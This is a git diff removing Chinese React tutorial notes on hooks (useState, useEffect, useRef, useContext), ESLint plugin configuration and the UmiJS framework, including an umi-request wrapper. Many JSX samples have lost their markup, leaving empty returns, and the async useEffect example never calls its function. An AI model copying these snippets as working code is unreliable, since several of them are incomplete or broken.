DOM操作,可以获取到更新后的DOM内容,**不要直接调用setState** | - -## 生命周期 - 卸载阶段 - -`目标任务:` 能够说出组件的销毁阶段的钩子函数以及执行时机 - -| 钩子函数 | 触发时机 | 作用 | -| -------------------- | ------------------------ | ---------------------------------- | -| componentWillUnmount | 组件卸载(从页面中消失) | 执行清理工作(比如:清理定时器等) | - -## 阶段小练习 - todoMVC - -案例仓库地址:https://gitee.com/react-course-series/react-todo-mvc - -**项目演示步骤:** - -1. 克隆项目到本地 - - ```bash - git clone https://gitee.com/react-course-series/react-todo-mvc.git - ``` - -2. 安装必要依赖 - - ```bash - yarn - ``` - -3. 开启mock接口服务,**保持窗口不关闭** !!!!! - - ```bash - # 启动mock服务 - yarn mock-serve - ``` - -4. **另起一个bash窗口**开启前端服务 - - ```bash - yarn start - ``` - -5. 浏览器输入 localhost:3000演示效果 - -**项目开发步骤:** - -1. 切换到todo-test分支 - - ```bash - git checkout todo-test - ``` - -2. 打开 app.js - - 已有基础样板代码,在这个基础上编写业务逻辑即可 - -3. 接口文档 - - | 接口作用 | 接口地址 | 接口方法 | 接口参数 | - | -------- | ------------------------------------- | -------- | ---------------------- | - | 获取列表 | http://localhost:3001/data | GET | 无 | - | 删除 | http://localhost:3001/data/:id | DELETE | id | - | 搜索 | http://localhost:3001/data/?q=keyword | GET | name(以name字段搜索) | - -**实现功能** - -| 功能 | 核心思路 | -| ------------ | ------------------------------------ | -| 表格数据渲染 | elementPlus el-table组件使用 | -| 删除功能 | 获取当前id 调用接口 | -| 搜索功能 | 用的依旧是列表接口,多传一个name参数 | -| 清除搜索功能 | 清空搜索参数 重新获取列表 | - -# Hooks基础 - -## Hooks概念理解 - -`本节任务:` 能够理解hooks的概念及解决的问题 - -### 1. 什么是hooks - -> Hooks的本质:**一套能够使函数组件更强大,更灵活的“钩子”** - -React体系里组件分为 类组件 和 函数组件 - -经过多年的实战,函数组件是一个更加匹配React的设计理念 `UI = f(data)`,也更有利于逻辑拆分与重用的组件表达形式,而先前的函数组件是不可以有自己的状态的,为了能让函数组件可以拥有自己的状态,所以从react v16.8开始,Hooks应运而生 - -**注意点:** - -1. 有了hooks之后,为了兼容老版本,class类组件并没有被移除,俩者都可以使用 -2. 有了hooks之后,不能在把函数成为无状态组件了,因为hooks为函数组件提供了状态 -3. hooks只能在函数组件中使用 - -### 2. Hooks解决了什么问题 - -Hooks的出现解决了俩个问题 1. 组件的状态逻辑复用 2.class组件自身的问题 - -1. 组件的逻辑复用 - - 在hooks出现之前,react先后尝试了 mixins混入,HOC高阶组件,render-props等模式 - - 但是都有各自的问题,比如mixin的数据来源不清晰,高阶组件的嵌套问题等等 - -2. class组件自身的问题 - - class组件就像一个厚重的‘战舰’ 一样,大而全,提供了很多东西,有不可忽视的学习成本,比如各种生命周期,this指向问题等等,而我们更多时候需要的是一个轻快灵活的'快艇' - -## useState - -### 1. 基础使用 - -`本节任务:` 能够学会useState的基础用法 - -**作用** - -​ useState为函数组件提供状态(state) - -**使用步骤** - -1. 导入 `useState` 函数 -2. 调用 `useState` 函数,并传入状态的初始值 -3. 从`useState`函数的返回值中,拿到状态和修改状态的方法 -4. 在JSX中展示状态 -5. 调用修改状态的方法更新状态 - -**代码实现** - -```jsx -import { useState } from 'react' - -function App() { - // 参数:状态初始值比如,传入 0 表示该状态的初始值为 0 - // 返回值:数组,包含两个值:1 状态值(state) 2 修改该状态的函数(setState) - const [count, setCount] = useState(0) - return ( - - ) -} -export default App -``` - -### 2. 状态的读取和修改 - -`本节任务:` 能够理解useState下状态的读取和修改 - -**读取状态** - -​ 该方式提供的状态,是函数内部的局部变量,可以在函数内的任意位置使用 - -**修改状态** - -1. setCount是一个函数,参数表示`最新的状态值` -2. 调用该函数后,将使用新值替换旧值 -3. 修改状态后,由于状态发生变化,会引起视图变化 - -**注意事项** - -​ 修改状态的时候,一定要使用新的状态替换旧的状态,不能直接修改旧的状态,尤其是引用类型 - -### 3. 组件的更新过程 - -`本节任务:` 能够理解使用hook之后组件的更新情况 - -函数组件使用 **useState** hook 后的执行过程,以及状态值的变化 - -- 组件第一次渲染 - 1. 从头开始执行该组件中的代码逻辑 - 2. 调用 `useState(0)` 将传入的参数作为状态初始值,即:0 - 3. 渲染组件,此时,获取到的状态 count 值为: 0 - -- 组件第二次渲染 - 1. 点击按钮,调用 `setCount(count + 1)` 修改状态,因为状态发生改变,所以,该组件会重新渲染 - 2. 组件重新渲染时,会再次执行该组件中的代码逻辑 - 3. 再次调用 `useState(0)`,此时 **React 内部会拿到最新的状态值而非初始值**,比如,该案例中最新的状态值为 1 - 4. 再次渲染组件,此时,获取到的状态 count 值为:1 - -注意:**useState 的初始值(参数)只会在组件第一次渲染时生效**。也就是说,以后的每次渲染,useState 获取到都是最新的状态值,React 组件会记住每次最新的状态值 - -```jsx -import { useState } from 'react' - -function App() { - const [count, setCount] = useState(0) - // 在这里可以进行打印测试 - console.log(count) - return ( - - ) -} -export default App -``` - - - -### 4. 使用规则 - -`本节任务:` 能够记住useState的使用规则 - -1. `useState` 函数可以执行多次,每次执行互相独立,每调用一次为函数组件提供一个状态 - - ```js - function List(){ - // 以字符串为初始值 - const [name, setName] = useState('cp') - // 以数组为初始值 - const [list,setList] = useState([]) - } - ``` - -2. `useState` 注意事项 - - 1. 只能出现在函数组件中 - - 2. 不能嵌套在if/for/其它函数中(react按照hooks的调用顺序识别每一个hook) - - ```js - let num = 1 - function List(){ - num++ - if(num / 2 === 0){ - const [name, setName] = useState('cp') - } - const [list,setList] = useState([]) - } - // 俩个hook的顺序不是固定的,这是不可以的!!! - ``` - - 3. 可以通过开发者工具查看hooks状态 - -## useEffect - -### 1. 理解函数副作用 - -`本节任务:` 能够理解副作用的概念 - -**什么是副作用** - -​ 副作用是相对于主作用来说的,一个函数除了主作用,其他的作用就是副作用。对于 React 组件来说,**主作用就是根据数据(state/props)渲染 UI**,除此之外都是副作用(比如,手动修改 DOM) - -**常见的副作用** - -1. 数据请求 ajax发送 -2. 手动修改dom -3. localstorage操作 - -useEffect函数的作用就是为react函数组件提供副作用处理的! - -### 2. 基础使用 - -`本节任务:` 能够学会useEffect的基础用法并且掌握默认的执行执行时机 - -**作用** - -​ 为react函数组件提供副作用处理 - -**使用步骤** - -1. 导入 `useEffect` 函数 -2. 调用 `useEffect` 函数,并传入回调函数 -3. 在回调函数中编写副作用处理(dom操作) -4. 修改数据状态 -5. 检测副作用是否生效 - -**代码实现** - -```jsx -import { useEffect, useState } from 'react' - -function App() { - const [count, setCount] = useState(0) - - useEffect(()=>{ - // dom操作 - document.title = `当前已点击了${count}次` - }) - return ( - - ) -} - -export default App - -``` - - - -### 3. 依赖项控制执行时机 - -`本节任务:` 能够学会使用依赖项控制副作用的执行时机 - -**1. 不添加依赖项** - -> 组件首次渲染执行一次,以及不管是哪个状态更改引起组件更新时都会重新执行 -> -> 1. 组件初始渲染 -> 2. 组件更新 (不管是哪个状态引起的更新) - -```jsx -useEffect(()=>{ - console.log('副作用执行了') -}) -``` - - - -**2. 添加空数组** - -> 组件只在首次渲染时执行一次 - -```jsx -useEffect(()=>{ - console.log('副作用执行了') -},[]) -``` - - - -**3. 添加特定依赖项** - -> 副作用函数在首次渲染时执行,在依赖项发生变化时重新执行 - -```jsx -function App() { - const [count, setCount] = useState(0) - const [name, setName] = useState('zs') - - useEffect(() => { - console.log('副作用执行了') - }, [count]) - - return ( - <> - - - - ) -} -``` - -**注意事项** - -useEffect 回调函数中用到的数据(比如,count)就是依赖数据,就应该出现在依赖项数组中,如果不添加依赖项就会有bug出现 - -## 阶段小练习 - 自定义hook - -**需求描述**:自定义一个hook函数,实现获取滚动距离Y - -> `const [y] = useWindowScroll()` - -```js -import { useState } from "react" - -export function useWindowScroll () { - const [y, setY] = useState(0) - window.addEventListener('scroll', () => { - const h = document.documentElement.scrollTop - setY(h) - }) - return [y] -} -``` - -**需求描述:** 自定义hook函数,可以自动同步到本地LocalStorage - -> `const [message, setMessage] = useLocalStorage(key,defaultValue)` -> -> 1. message可以通过自定义传入默认初始值 -> 2. 每次修改message数据的时候 都会自动往本地同步一份 - -```js -import { useEffect, useState } from 'react' - -export function useLocalStorage (key, defaultValue) { - const [message, setMessage] = useState(defaultValue) - // 每次只要message变化 就会自动同步到本地ls - useEffect(() => { - window.localStorage.setItem(key, message) - }, [message, key]) - return [message, setMessage] -} -``` - - - -# Hooks进阶 - -## useState - 回调函数的参数 - -`本节任务:` 能够理解useState回调函数作为参数的使用场景 - -**使用场景** - -参数只会在组件的初始渲染中起作用,后续渲染时会被忽略。如果初始 state 需要通过计算才能获得,则可以传入一个函数,在函数中计算并返回初始的 state,此函数只在初始渲染时被调用 - -**语法** - -```jsx -const [name, setName] = useState(()=>{ // 编写计算逻辑 return '计算之后的初始值'}) -``` - -**语法规则** - -1. 回调函数return出去的值将作为 `name` 的初始值 -2. 回调函数中的逻辑只会在组件初始化的时候执行一次 - -**语法选择** - -1. 如果就是初始化一个普通的数据 直接使用 `useState(普通数据)` 即可 -2. 如果要初始化的数据无法直接得到需要通过计算才能获取到,使用`useState(()=>{})` - -**来个需求** - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/state01.png) - -```jsx -import { useState } from 'react' - -function Counter(props) { - const [count, setCount] = useState(() => { - return props.count - }) - return ( -
    - -
    - ) -} - -function App() { - return ( - <> - - - - ) -} - -export default App -``` - - - -## useEffect - 清理副作用 - -`本节任务:` 能够掌握清理useEffect的方法 - -**使用场景** - -在组件被销毁时,如果有些副作用操作需要被清理,就可以使用此语法,比如常见的定时器 - -**语法及规则** - -```js -useEffect(() => { - console.log('副作用函数执行了') - // 副作用函数的执行时机为: 在下一次副作用函数执行之前执行 - return () => { - console.log('清理副作用的函数执行了') - // 在这里写清理副作用的代码 - } -}) -``` - -**定时器小案例** - -> 添加副作用函数前:组件虽然已经不显示了,但是定时器依旧在运行 - -```jsx -import { useEffect, useState } from 'react' -function Foo() { - useEffect(() => { - setInterval(() => { - console.log('副作用函数执行了') - }, 1000) - }) - return
    Foo
    -} - - -function App() { - const [flag, setFlag] = useState(true) - return ( - <> - - {flag ? : null} - - ) -} - -export default App -``` - -> 添加清理副作用函数后:一旦组件被销毁,定时器也被清理 - -```jsx -import { useEffect, useState } from 'react' - -function Foo() { - useEffect(() => { - const timerId = setInterval(() => { - console.log('副作用函数执行了') - }, 1000) - // 添加清理副租用函数 - return () => { - clearInterval(timerId) - } - }) - return
    Foo
    -} -function App() { - const [flag, setFlag] = useState(true) - return ( - <> - - {flag ? : null} - - ) -} - -export default App -``` - -## useEffect - 发送网络请求 - -`本节任务:` 能够掌握使用useEffect hook发送网络请求 - -**使用场景** - -如何在useEffect中发送网络请求,并且封装同步 async await操作 - -**语法要求** - -不可以直接在useEffect的回调函数外层直接包裹 await ,因为**异步会导致清理函数无法立即返回** - -```js -useEffect(async ()=>{ - const res = await axios.get('http://geek.itheima.net/v1_0/channels') - console.log(res) -},[]) -``` - -**正确写法** - -在内部单独定义一个函数,然后把这个函数包装成同步 - -```jsx -useEffect(()=>{ - async function fetchData(){ - const res = await axios.get('http://geek.itheima.net/v1_0/channels') console.log(res) - } -},[]) -``` - -## useRef - -`本节任务:` 能够掌握使用useRef获取真实dom或组件实例的方法 - -**使用场景** - -在函数组件中获取真实的dom元素对象或者是组件对象 - -**使用步骤** - -1. 导入 `useRef` 函数 -2. 执行 `useRef` 函数并传入null,返回值为一个对象 内部有一个current属性存放拿到的dom对象(组件实例) -3. 通过ref 绑定 要获取的元素或者组件 - -**获取dom** - -```jsx -import { useEffect, useRef } from 'react' -function App() { - const h1Ref = useRef(null) - useEffect(() => { - console.log(h1Ref) - },[]) - return ( -
    -

    this is h1

    -
    - ) -} -export default App -``` - -**获取组件实例** - -> **函数组件由于没有实例,不能使用ref获取,如果想获取组件实例,必须是类组件** - -`Foo.js` - -```jsx -class Foo extends React.Component { - sayHi = () => { - console.log('say hi') - } - render(){ - return
    Foo
    - } -} - -export default Foo -``` - -`App.js` - -```jsx -import { useEffect, useRef } from 'react' -import Foo from './Foo' -function App() { - const h1Foo = useRef(null) - useEffect(() => { - console.log(h1Foo) - }, []) - return ( -
    - ) -} -export default App -``` - -## useContext - -`本节任务:` 能够掌握hooks下的context使用方式 - -![](https://my-doc-1259409954.file.myqcloud.com/MyImages/context.png) - -**实现步骤** - -1. 使用`createContext` 创建Context对象 -2. 在顶层组件通过`Provider` 提供数据 -3. 在底层组件通过`useContext`函数获取数据 - -**代码实现** - -```jsx -import { createContext, useContext } from 'react' -// 创建Context对象 -const Context = createContext() - -function Foo() { - return
    Foo
    -} - -function Bar() { - // 底层组件通过useContext函数获取数据 - const name = useContext(Context) - return
    Bar {name}
    -} - -function App() { - return ( - // 顶层组件通过Provider 提供数据 - -
    -
    - ) -} - -export default App -``` - diff --git "a/src/React/eslint-plugin-react \351\205\215\347\275\256.md" "b/src/React/eslint-plugin-react \351\205\215\347\275\256.md" deleted file mode 100644 index 076df043..00000000 --- "a/src/React/eslint-plugin-react \351\205\215\347\275\256.md" +++ /dev/null @@ -1,222 +0,0 @@ -## 安装 - -```bash -npm install eslint eslint-plugin-react --save-dev -``` - -也可以全局而不是本地安装 ESLint(使用`npm install -g eslint`)。但是,不建议这样做,无论哪种情况,你使用的任何插件或可共享配置都必须安装在本地。 - -## 配置 `.eslintrc` - -1. `.eslintrc.js` 或者`.eslintrc.json`,添加预设默认值: - -```json - "extends": [ - "eslint:recommended", - "plugin:react/recommended" // 当前插件的 - ] -``` - -如果在使用[来自 React 17 的新 JSX 转换](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html#removing-unused-react-imports),请使用[`react/jsx-runtime`](https://github.com/jsx-eslint/eslint-plugin-react/blob/c8917b0885094b5e4cc2a6f613f7fb6f16fe932e/index.js#L163-L176)扩展 eslint 配置(添加`"plugin:react/jsx-runtime"`到`"extends"`)以禁用相关规则。 - -```json - "extends": [ - "eslint:recommended", - "plugin:react/recommended" // 当前插件的 - "plugin:react/jsx-runtime" // 补充配置 - ] -``` - -2. 将“React”添加到插件部分 - -```json -{ - "plugins": [ - "react" - ] -} -``` - -3. 启用 JSX 支持。(eslint 2以上版本) - -```json -{ - "parserOptions": { - "ecmaFeatures": { - "jsx": true - } - } -} -``` - -4. 开启某些额外想要使用的规则 - -```json - "rules": { - "react/jsx-uses-react": "error", - "react/jsx-uses-vars": "error", - } -``` - -### 可共享配置 - -这个插件导出了一个`recommended`强制执行 React 良好实践的配置。 - -要启用此配置,请使用配置文件`extends`中的属性`.eslintrc`: - -``` -{ - "extends": ["eslint:recommended", "plugin:react/recommended"] -} -``` - -有关扩展配置文件的更多信息,请参阅[`eslint`文档。](https://eslint.org/docs/user-guide/configuring/configuration-files#extending-configuration-files) - -#### 全部 - -此插件还导出`all`包含每个可用规则的配置。这与规则很相配`eslint:all`。 - -``` -{ - "plugins": [ - "react" - ], - "extends": ["eslint:all", "plugin:react/all"] -} -``` - -**注意**:这些配置将在[解析器选项](https://eslint.org/docs/user-guide/configuring/language-options#specifying-parser-options)`eslint-plugin-react`中导入和启用 JSX 。 - -## 新配置 `eslint.config.js` - -从[`v8.21.0`](https://github.com/eslint/eslint/releases/tag/v8.21.0),eslint 宣布了一个新的配置系统。在新系统中,`.eslintrc*`不再使用。`eslint.config.js`将是默认的配置文件名。在 eslint 中`v8`,遗留系统 ( `.eslintrc*`) 仍将受支持,而在 eslint 中`v9`,仅支持新系统。 - -然后[`v8.23.0`](https://github.com/eslint/eslint/releases/tag/v8.23.0),eslint CLI 开始查找`eslint.config.js`。 **因此,如果你的 eslint 是`>=8.23.0`,那么你得 100% 准备好使用新的配置系统。** - -官方博客文章, - -- https://eslint.org/blog/2022/08/new-config-system-part-1/ -- https://eslint.org/blog/2022/08/new-config-system-part-2/ -- https://eslint.org/blog/2022/08/new-config-system-part-3/ - -和[官方文档](https://eslint.org/docs/latest/user-guide/configuring/configuration-files-new)。 - -### 插件 - -默认导出的`eslint-plugin-react`是一个插件对象。 - -```js -const react = require('eslint-plugin-react'); -const globals = require('globals'); - -module.exports = [ - … - { - files: ['**/*.{js,jsx,mjs,cjs,ts,tsx}'], - plugins: { - react, - }, - languageOptions: { - parserOptions: { - ecmaFeatures: { - jsx: true, - }, - }, - globals: { - ...globals.browser, - }, - }, - rules: { - // ... any rules you want - 'react/jsx-uses-react': 'error', - 'react/jsx-uses-vars': 'error', - }, - // ... others are omitted for brevity - }, - … -]; -``` - -### 配置共享设置 - -参考[官方文档](https://eslint.org/docs/latest/user-guide/configuring/configuration-files-new#configuring-shared-settings)。 - -对象的架构`settings.react`将与上面遗留配置部分中已经描述的架构相同。 - -### 可共享的配置 - -还有 3 个可共享的配置。 - -- `eslint-plugin-react/configs/all` -- `eslint-plugin-react/configs/recommended` -- `eslint-plugin-react/configs/jsx-runtime` - -如果你的`eslint.config.js` 是 ESM,请包含`.js`扩展名,但是下个主要版本可以忽略。 - -在新的配置系统中,`plugin:`协议(例如`plugin:react/recommended`)不再有效。由于 eslint 不会自动导入预设配置(可共享配置),您需要自己明确地导入。 - -```js -const reactRecommended = require('eslint-plugin-react/configs/recommended'); - -module.exports = [ - … - reactRecommended, // This is not a plugin object, but a shareable config object - … -]; -``` - -**注意**:我们的可共享配置不会预先配置`files`或[`languageOptions.globals`](https://eslint.org/docs/latest/user-guide/configuring/configuration-files-new#configuration-objects). 对于大多数情况,你可能希望自己配置一些属性。 - -```js -const reactRecommended = require('eslint-plugin-react/configs/recommended'); -const globals = require('globals'); - -module.exports = [ - … - { - files: ['**/*.{js,mjs,cjs,jsx,mjsx,ts,tsx,mtsx}'], - ...reactRecommended, - languageOptions: { - ...reactRecommended.languageOptions, - globals: { - ...globals.serviceworker, - ...globals.browser, - }, - }, - }, - … -]; -``` - -上面的例子和下面的例子一样,因为新的配置系统是基于link的。 - -```js -const reactRecommended = require('eslint-plugin-react/configs/recommended'); -const globals = require('globals'); - -module.exports = [ - … - { - files: ['**/*.{js,mjs,cjs,jsx,mjsx,ts,tsx,mtsx}'], - ...reactRecommended, - }, - { - files: ['**/*.{js,mjs,cjs,jsx,mjsx,ts,tsx,mtsx}'], - languageOptions: { - globals: { - ...globals.serviceworker, - ...globals.browser, - }, - }, - }, - … -]; -``` - -## 支持规则列表 - -[jsx-eslint/eslint-plugin-react:ESLint 的特定于 React 的 linting 规则](https://github.com/jsx-eslint/eslint-plugin-react#list-of-supported-rules) - -## 参考文档 - -- [jsx-eslint/eslint-plugin-react: React-specific linting rules for ESLint](https://github.com/jsx-eslint/eslint-plugin-react) diff --git "a/src/React/umi\346\241\206\346\236\266/UmiJS \344\271\214\347\261\263\345\255\246\344\271\240\345\256\236\346\210\230.md" "b/src/React/umi\346\241\206\346\236\266/UmiJS \344\271\214\347\261\263\345\255\246\344\271\240\345\256\236\346\210\230.md" deleted file mode 100644 index 80f24167..00000000 --- "a/src/React/umi\346\241\206\346\236\266/UmiJS \344\271\214\347\261\263\345\255\246\344\271\240\345\256\236\346\210\230.md" +++ /dev/null @@ -1,271 +0,0 @@ ---- -date: 2022-07-18 -category: -- React ---- - -# UmiJS 乌米学习实战:rice: - -> 参照文档 -> -> [官方文档](https://umijs.org/) -> -> [Umi 4 发布啦 🎈](https://juejin.cn/post/7111528216631705608) -> -> [umi3教程](https://juejin.cn/post/7021358536504393741) - -目前umi已经更新到4啦~,文章就只挑重要的讲解记录~ - -## 简介 - -Umi,中文发音为「乌米」,是可扩展的企业级前端应用框架。Umi 以路由为基础的,同时支持配置式路由和约定式路由,保证路由的功能完备,并以此进行功能扩展。然后配以生命周期完善的插件体系,覆盖从源码到构建产物的每个生命周期,支持各种功能扩展和业务需求。 - -Umi 是蚂蚁集团的底层前端框架,已直接或间接地服务了 10000+ 应用,包括 Java、Node、H5 无线、离线(Hybrid)应用、纯前端 assets 应用、CMS 应用、Electron 应用、Serverless 应用等。他已经很好地服务了我们的内部用户,同时也服务了不少外部用户,包括淘系、飞猪、阿里云、字节、腾讯、口碑、美团等。在 2021 年字节的[调研报告](https://zhuanlan.zhihu.com/p/403206195)中,Umi 是其中 25.33% 开发者的选择。 - -Umi 有很多非常有意思的特性,比如。 - -1、**企业级**,在安全性、稳定性、最佳实践、约束能力方面会考虑更多 -2、**插件化**,啥都能改,Umi 本身也是由插件构成 -3、**MFSU**,比 Vite 还快的 Webpack 打包方案 -4、基于 React Router 6 的完备路由 -5、默认最快的请求 -6、SSR & SSG -7、稳定白盒性能好的 ESLint 和 Jest -8、React 18 的框架级接入 -9、Monorepo 最佳实践 -... - -引用一下云谦大佬的话: - -> - -### 啥时候不用? - -总结一下:低版本浏览器、React或者Node14以下环境,需要高粒度的路由管理和Webpack处理的 - -### 为什么不用? - -**create-react-app:**有没有可能,Vue CLI 这种渐进式设计就是很好的正面例子?create-react-app就是逊啦(狗头)、 - -**next.js**:如果要做 SSR,next.js 是非常好的选择,但是作者也说了,Umi更好的扩展性(插件很好用),更接地气 - -**remix**:还没了解.... - -### [快速上手](https://umijs.org/docs/tutorials/getting-started) - -去官方文档看吧~ - -### 请求的封装 - -src文件夹下新建 `request`文件夹 新建`request.ts` - -```js -request.ts -/** - * 网络请求工具 封装umi-request - * 更详细的 api 文档: https://github.com/umijs/umi-request - */ - -import { extend } from 'umi-request'; -import type { RequestOptionsInit } from 'umi-request'; -import { notification } from 'antd'; - -// codeMessage仅供参考 具体根据和后端协商,在详细定义. -const codeMessage = { - 200: '服务器成功返回请求的数据。', - 400: '发出的请求有错误,服务器没有进行新建或修改数据的操作。', - 500: '服务器发生错误,请检查服务器。', -}; -type mapCode = 200 | 400 | 500; - -/** - * 错误异常处理程序 - */ -const errorHandler = (error: { response: Response }): Response => { - const { response } = error; - if (response && response.status) { - let errorText = codeMessage[response.status as mapCode] || response.statusText; - const { status, url } = response; - response - ?.clone() - ?.json() - ?.then((res) => { - // 后端返回错误信息,就用后端传回的 - errorText = res.msg ? res.msg : errorText; - notification.error({ - message: `请求错误 ${status}: ${url}`, - description: errorText, - }); - }); - } else if (!response) { - notification.error({ - description: '您的网络发生异常,无法连接服务器', - message: '网络异常', - }); - } - return response; -}; - -/** - * 配置request请求时的默认参数 - */ -const request = extend({ - errorHandler, // 默认错误处理 - credentials: 'include', // 默认请求是否带上cookie -}); - -// 根据不同的开发环境,配置请求前缀 -interface ApiPrefix { - dev: string; - test: string; - prd: string; -} -const apiPreFix: ApiPrefix = { - dev: 'http://120.55.193.14:3030/', - test: 'http://120.55.193.14:3030/', - prd: 'http://120.55.193.14:3030/', -}; -// request拦截器, 携带token,以及根据环境,配置不同的请求前缀 -request.interceptors.request.use((url: string, options: RequestOptionsInit) => { - // 不携带token的请求数组 - let notCarryTokenArr: string[] = []; - if (notCarryTokenArr.includes(url)) { - return { - url: `${apiPreFix[CurrentEnvironment]}${url}`, - options, - }; - } - // 给每个请求带上token - let token = localStorage.getItem('tokens') || ''; - let headers = { - Authorization: `Bearer ${token}`, - }; - return { - url: `${apiPreFix[CurrentEnvironment]}${url}`, - options: { ...options, interceptors: true, headers }, - }; -}); - -/** - * @url 请求的url - * @parameter 上传的参数 - */ - -// 封装的get,post.put,delete请求 -const get = async (url: string, parameter?: Record): Promise => { - try { - const res = await request(url, { method: 'get', params: parameter }); - return res; - } catch (error) { - console.error(error); - } -}; -const deletes = async (url: string, parameter?: Record): Promise => { - try { - const res = await request(url, { method: 'delete', params: parameter }); - return res; - } catch (error) { - console.error(error); - } -}; -const post = async (url: string, parameter?: Record): Promise => { - try { - const res = await request(url, { method: 'post', data: parameter }); - return res; - } catch (error) { - console.error(error); - } -}; -const put = async (url: string, parameter?: Record): Promise => { - try { - const res = await request(url, { method: 'put', data: parameter }); - return res; - } catch (error) { - console.error(error); - } -}; - -export default { - get, - post, - put, - deletes, -}; -复制代码 -``` - -这里封装了umi-request,统一处理了接口错误,请求拦截器携带token等.最后在配合useRequest 非常的好用. - -## 设计思路 - -1、技术收敛 :star: - -我们希望开发者依赖 Umi 之后就无需关心 babel、webpack、postcss、react、react-router 等依赖,而依赖 @umijs/max 之后无需再关心开发中台项目的依赖和技术栈。 - -2、插件和插件集 :star: - -Umi 通过提供插件和插件集的机制来满足不同场景和业务的需求。插件是为了扩展一个功能,而插件集是为了扩展一类业务。比如要支持 vue,我们可以有 `@umijs/preset-vue`,包含 vue 相关的构建和运行时;比如要支持 h5 的应用类型,可以有 `@umijs/preset-h5`,把 h5 相关的功能集合到一起。 - -3、最佳实践 - -4、企业级 - -5、import all from umi :star: - -很多人可能都第一次听到。import all from umi 意思是所有 import 都来自 `umi`。比如 dva 不是 `import { connect } from 'dva'`,而是 `import { connect } from 'umi'`,从 umi 中导出。导出的方法不仅来自 umi 自身,还来自 umi 插件。 - -6、编译时框架 - -7、依赖预打包 - -8、默认快 - -9、约束与开放 - -## 常用API - - - -## [Umi Max 简介](https://umijs.org/docs/max/introduce) - -> 为了方便开发者更加方便的使用这些插件,在我们这些插件开源的基础上,直接将他们集成到一起,打造了 `@umijs/max`。 让开发者直接可以通过脚手架马上获得和蚂蚁集团开发 Umi 应用一样的开发体检。 - -新建的项目默认安装以下插件, 可以按需开启: - -- [权限](https://umijs.org/docs/max/access) -- [站点统计](https://umijs.org/docs/max/analytics) -- [Antd](https://umijs.org/docs/max/antd) -- [dva](https://umijs.org/docs/max/dva) -- [initial-state](https://umijs.org/docs/api/runtime-config#getinitialstate) -- [布局和菜单](https://umijs.org/docs/max/layout-menu) -- [多语言](https://umijs.org/docs/max/locale) -- [model](https://umijs.org/docs/max/data-flow) -- [乾坤微前端](https://umijs.org/docs/max/micro-frontend) -- [请求库](https://umijs.org/docs/max/request) -- [tailwindCSS支持](https://umijs.org/docs/max/tailwindcss) - -## UmiJS 4更新内容 - -**多构建引擎。** Umi 4 同时支持 Vite 和 Webpack 两种构建方式,并尽量确保他们之间功能的一致性,让开发者可以通过一行配置进行切换。可能有些同学会喜欢 dev 用 vite,build 用 webpack 这样的组合。同时我们也在探索包括 ESMi 在内的其他构建方案的探索。 - -**默认快。** 默认快是多维度的,我们通过 MFSU V3 + Webpack 5 缓存解 Dev 时编译慢的问题;内网还有通过 Webpack 5 物理缓存和 CD 平台结合解 Build 时编译慢的问题;有使用 esbuild 做 js 和 css 的压缩器、配置和 MOCK 文件的读取、jest 的 transformer,让除构建之外的其他环节也飞快;此外还有运行时速度也有考虑。 - -**MFSU V3。** Umi 3 的 MFSU 大家可能多少有接触过,虽然有用,但 DX 不够好。用的时候会遇到一些坑,以至于很多同学都掌握了一项特殊技能,遇到问题时 rm -rf src/.umi。大家可能会遇到 monorepo 不支持、热更新导致 Tab 卡死、请求多导致页面打开慢、一些语法不支持的问题。以上问题在 MFSU V3 中全解!基于此,我们非常有信心地在 Umi 4 中默认开启 MFSU 功能。当然,如果你不喜欢,会保留手动配置 mfsu: false 关闭的口子。同时,MFSU V3 还可脱离 Umi 独立使用。 - -**Umi Max。** 这是内部 Bigfish 框架的对外版本,解我们自己的问题,同时也给社区另一个集中化框架的选择,定位是中后台框架,包含了中后台相关的大量最佳实践的插件。如果有定制需求,大家可以参考他来实现内网框架的定制,比如快手团队就有基于 Umi 4 的框架定制,还有 Alita 也是基于 Umi 定制的面向移动端的框架。 - -**React Router 6。** 我们升级了路由方案到 React Router 6,喜忧参半。好消息是,React Router 6 是 Remix 的基础库,面向框架层做了很多优化,路由实现层更优雅,Umi 得以删除大量路由渲染的代码;坏消息是,带来不少 Break Change,比如之前父路由渲染子路由用 children,得换成 。 - -**支持 Vue。** Umi 4 中提供了 Vue 支持,记得我在 Umi 2 时画过一张架构图,其中就有 Vue 的一环,Umi 3 时也有过尝试,但那会 Vue 3 还不太成熟,接入时遇到不少坑,这个坑今天总算是补上了。此功能由社区同学操刀,只需装载一个 preset 即可切换到 Vue。 - -**默认最快的 CSR 请求。** 项目构建快解的是 DX 问题,但同时也应该关注 UX。Client Loader 的目的是让应用加载默认快,避免 React 项目经典的 Render-Then-Fetch 的加载瀑布流问题。效果见下图,示例项目的从 9s 降到 6s,这 6s 还是之前截的图,上了 Preload 功能之后其实已更快。 - -**白盒文档的 Lint。** Umi 4 里内置了我们精挑细选的 lint 规则,只有质量类不开可能会导致项目问题的规则,不包含风格类的规则,不包含 TypeScript 中 type-aware 类的规则,这类规则需要跑整个项目,会导致性能问题;同时,我们通过 @rushstack/eslint-pach 的方式锁定了 config 里找 plugin 的规则,确保规则是长期稳定的。 - -**SSR。** Umi 4 重写了 SSR 功能,目前此功能还在 beta 阶段,请勿将其用于生产环境。Umi 4 的 SSR 有以下特点,1)server 代码的构建基于 esbuild,所以极快,2)请求的处理类似 next.js 的 getServerSideProps 和 remix 的 loader,只在服务端跑,3)基于 react 18 的 suspense 和 renderToPipeableStream。实现原因,部署层目前仅实现了 vercel 的 adapter。这里有个简单的 Todos 示例:[test-vercel-chencheng.vercel.app/](https://link.juejin.cn?target=https%3A%2F%2Ftest-vercel-chencheng.vercel.app%2F) - -**Umi UI 卷土重来?** 日常排查问题时,很多 Umi 框架的内部状态是看不到的,比如插件启用情况、appData 元数据、修改过的最终配置、修改过的最终 webpack 配置、修改过的最终路由、MFSU 的 module graph 信息等。Umi 4 提供了 /__umi/ 路由,dev 阶段可用,效果见下图。定位是开发辅助,大家也可以理解为是「丐版 Umi UI」。 - -## 额外的:octopus: - -**基于 React 的应用研发框架 icejs** [**飞冰**](https://ice.work/) diff --git "a/src/React/useReducer\357\274\232\347\261\273Redux\347\232\204useState\346\233\277\344\273\243\346\226\271\346\241\210.md" "b/src/React/useReducer\357\274\232\347\261\273Redux\347\232\204useState\346\233\277\344\273\243\346\226\271\346\241\210.md" deleted file mode 100644 index 16ab2d7e..00000000 --- 